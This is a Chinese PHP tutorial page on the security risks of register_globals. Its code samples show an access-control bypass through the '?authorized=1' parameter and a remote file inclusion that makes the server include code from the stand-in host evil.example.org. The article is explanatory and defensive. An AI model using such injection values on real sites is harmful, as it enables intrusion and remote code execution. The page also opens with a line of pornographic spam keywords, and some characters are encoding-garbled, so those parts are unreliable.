日韩天天综合网_野战两个奶头被亲到高潮_亚洲日韩欧美精品综合_av女人天堂污污污_视频一区**字幕无弹窗_国产亚洲欧美小视频_国内性爱精品在线免费视频_国产一级电影在线播放_日韩欧美内地福利_亚洲一二三不卡片区

解析PHP安全之Register Globals_PHP教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

推薦:詳解PHP下載文件名亂碼問題
通過把Content-Type設(shè)置為application/octet-stream,可以把動態(tài)生成的內(nèi)容當作文件來下載,相信這個大家都會。那么用Content-Disposition設(shè)置下載的文件名,這個也有不少人知道吧�;旧�,下載程序都是這么寫的: header('Content-Disposition: attachment

register_globals參數(shù)在 PHP 的 4.2.0 及以上版本中默認為屏蔽。雖然這并不認為是一個安全漏洞,但是的確是一個安全風(fēng)險。因此,應(yīng)該始終在開發(fā)過程中屏蔽register_globals。

為什么這是一個安全風(fēng)險?每一種情形都需要的單獨說明才能描述清楚,對于所有情形只給出一個恰當?shù)睦邮欠浅@щy的。不管怎樣,最常見的例子是在PHP手冊中描述的:

<?php

if (authenticated_user())
{
$authorized = true;
}

if ($authorized)
{
include '/highly/sensitive/data.php';
}

?>

當參數(shù)register_globals開啟的時候,這個頁面可以使用?authorized=1的參數(shù)訪問,從而繞過訪問控制。當然,這個明顯的漏洞是糟糕的開發(fā)造成的,而不是register_globals的原因,但是這明顯增加了產(chǎn)生危險漏洞的可能。消除了這個影響,普通的全局變量(比如本例中的$authorized)將不再受到客戶端提交的數(shù)據(jù)的影響。最好的方式是初始化全部變量并且將參數(shù)error_reporting設(shè)置為E_ALL,這樣使用未初始化的變量就不會在開發(fā)的時候被忽略。

另外一個關(guān)于register_globals的例子是在使用include包含動態(tài)路徑的時候可能產(chǎn)生問題:

<?php

include "$path/script.php";

?>

當參數(shù)register_globals開啟的時候,這個頁面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的參數(shù)訪問,使得本例中的代碼和下面的代碼等同:

<?php

include 'http://evil.example.org/?/script.php';

?>

如果參數(shù)allow_url_fopen開啟的時候(即便是在php.ini-recommended中,默認也是開啟的),這將如同包含本地文件一般包含http://evil.example.org/這樣的遠程文件。這是一個常見的安全漏洞,甚至在一些非常著名的開源項目中都發(fā)現(xiàn)。

初始化$path可以避免這個隱患,而且不用屏蔽參數(shù)register_globals。然而開發(fā)人員的失誤可能會產(chǎn)生沒有初始化的變量,修改全局配置以屏蔽參數(shù)register_globals可以盡可能的避免這種隱患被忽視。

便利性總是另人愉快的,過去我們不得不手工區(qū)分哪些是表單數(shù)據(jù),哪些是普通變量。而使用$_POST$_GET內(nèi)建全局數(shù)組也是非常方便的,并且承擔因為開啟參數(shù)register_globals造成的風(fēng)險很不值得。雖然我完全不同意將開啟參數(shù)register_globals等同于薄弱的安全,但是我還是強烈建議將其設(shè)置為關(guān)閉。

需要補充說明的是,屏蔽參數(shù)register_globals會幫助開發(fā)人員更加留意數(shù)據(jù)的來源,而這正是一個有安全意識的開發(fā)人員所應(yīng)該具備的素質(zhì)。

 

分享:揭秘三種解決PHP亂碼問題的辦法
1、PHP 如何處理上傳的CSV文件? 可以用fgetcsv函數(shù):

來源:模板無憂//所屬分類:PHP教程/更新時間:2009-08-30
相關(guān)PHP教程